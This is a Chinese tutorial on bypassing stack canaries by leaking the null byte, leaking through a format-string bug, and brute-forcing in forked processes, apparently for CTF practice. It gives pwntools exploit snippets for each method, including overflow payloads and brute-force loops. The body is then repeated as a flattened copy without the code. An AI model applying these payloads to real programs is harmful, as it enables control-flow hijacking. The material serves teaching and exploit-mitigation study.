常见的绕过canary的方法
字数 993 2025-08-23 18:31:17

绕过Canary保护机制的方法详解

Canary是一种常见的栈保护机制,用于防止缓冲区溢出攻击。本文将详细介绍三种绕过Canary保护的方法,包括覆盖00字符、格式化字符串泄露和爆破Canary。

Canary保护机制原理

在函数开始时,程序会随机生成一个值(Canary),并将其放置在栈上紧挨着EBP/RBP的上一个位置。当攻击者试图通过缓冲区溢出覆盖EBP/RBP或返回地址时,必然会覆盖Canary的值。在函数结束时,程序会检查Canary的值是否与初始值一致,如果不一致,程序将终止执行,从而防止缓冲区溢出攻击。

方法一:覆盖00字符

原理

Canary通常以00字节结尾(最低字节为\x00)。通过覆盖这个00字节,可以泄露Canary的值。

实现步骤

  1. 通过缓冲区溢出覆盖Canary的00字节
  2. 读取泄露的Canary值
  3. 利用strcpy等函数的特性(遇到\x00截断但会在最后加\x00)构造有效载荷

示例代码

# 覆盖00字节并泄露Canary
s('a' * 0x19)
r(0x18 + 6)
canary = u64(r(8)) - 0x61
leak('canary', canary)

# 构造有效载荷
backdoor = 0x4012BB
ru('you like to leave(MAX 4): ')
sl('2')
sl('a' * (0xa0 - 0x8) + p64(canary + 0xaa) + 'a' * 8 + p64(0x4012c3))
sl('a' * 0x78)

方法二:格式化字符串泄露

原理

利用格式化字符串漏洞直接泄露栈上的Canary值。

实现步骤

  1. 使用gdb或其他工具确定Canary在栈上的偏移
  2. 通过格式化字符串漏洞(如%p)泄露Canary
  3. 构造有效载荷覆盖Canary和返回地址

示例代码

# 泄露Canary
sl('%13$p')
canary = int(r(18), 16)
leak('canary', canary)

# 构造有效载荷
pl = 'a' * 0x28 + p64(canary) + 'a' * 0x8 + p64(0x401245)
sl(pl)

方法三:爆破Canary

适用场景

当程序使用fork函数创建子进程时,因为fork会拷贝父进程的内存,所以子进程的Canary与父进程相同。

原理

  1. Canary最低位为0x00
  2. 可以逐字节爆破Canary
  3. 爆破失败会导致程序崩溃,成功则继续执行

实现步骤

  1. 从最低位开始(已知为\x00)
  2. 逐字节尝试所有可能的值(0-255)
  3. 通过程序是否崩溃判断爆破是否成功

示例代码

# 爆破Canary
canary = '\x00'
for k in range(7):
    for i in range(256):
        print("正在爆破Canary的第" + str(k+1) + "位")
        print("当前的字符为" + chr(i))
        payload = b'a'*0x68 + canary + chr(i)
        p.send(b'a'*0x68 + canary + chr(i))
        data = p.recvuntil("welcome\n")
        if 'stack' in data:
            continue
        else:
            canary += p8(i)
            break

# 爆破PIE地址
backdoor = 0x0231
while True:
    for i in range(16):
        p.send(b'a'*0x68 + canary*2 + p16(backdoor))
        a = p.recvuntil(b'welcome\n', timeout=0.5)
        if b'welcome\n' in a:
            backdoor += 0x1000
        if b'flag' in a:
            print(a)
            p.interactive()

总结

方法 适用场景 关键点
覆盖00字符 可以部分覆盖Canary 利用strcpy等函数的特性
格式化字符串泄露 存在格式化字符串漏洞 需要知道Canary在栈上的偏移
爆破Canary 程序使用fork或线程 逐字节爆破,利用进程/线程间Canary相同的特性

在实际应用中,需要根据目标程序的具体情况选择合适的绕过方法。理解Canary保护机制的原理是成功绕过的基础,而熟练掌握这些技术则需要在实践中不断积累经验。

绕过Canary保护机制的方法详解 Canary是一种常见的栈保护机制,用于防止缓冲区溢出攻击。本文将详细介绍三种绕过Canary保护的方法,包括覆盖00字符、格式化字符串泄露和爆破Canary。 Canary保护机制原理 在函数开始时,程序会随机生成一个值(Canary),并将其放置在栈上紧挨着EBP/RBP的上一个位置。当攻击者试图通过缓冲区溢出覆盖EBP/RBP或返回地址时,必然会覆盖Canary的值。在函数结束时,程序会检查Canary的值是否与初始值一致,如果不一致,程序将终止执行,从而防止缓冲区溢出攻击。 方法一:覆盖00字符 原理 Canary通常以00字节结尾(最低字节为\x00)。通过覆盖这个00字节,可以泄露Canary的值。 实现步骤 通过缓冲区溢出覆盖Canary的00字节 读取泄露的Canary值 利用strcpy等函数的特性(遇到\x00截断但会在最后加\x00)构造有效载荷 示例代码 方法二:格式化字符串泄露 原理 利用格式化字符串漏洞直接泄露栈上的Canary值。 实现步骤 使用gdb或其他工具确定Canary在栈上的偏移 通过格式化字符串漏洞(如%p)泄露Canary 构造有效载荷覆盖Canary和返回地址 示例代码 方法三:爆破Canary 适用场景 当程序使用fork函数创建子进程时,因为fork会拷贝父进程的内存,所以子进程的Canary与父进程相同。 原理 Canary最低位为0x00 可以逐字节爆破Canary 爆破失败会导致程序崩溃,成功则继续执行 实现步骤 从最低位开始(已知为\x00) 逐字节尝试所有可能的值(0-255) 通过程序是否崩溃判断爆破是否成功 示例代码 总结 | 方法 | 适用场景 | 关键点 | |------|----------|--------| | 覆盖00字符 | 可以部分覆盖Canary | 利用strcpy等函数的特性 | | 格式化字符串泄露 | 存在格式化字符串漏洞 | 需要知道Canary在栈上的偏移 | | 爆破Canary | 程序使用fork或线程 | 逐字节爆破,利用进程/线程间Canary相同的特性 | 在实际应用中,需要根据目标程序的具体情况选择合适的绕过方法。理解Canary保护机制的原理是成功绕过的基础,而熟练掌握这些技术则需要在实践中不断积累经验。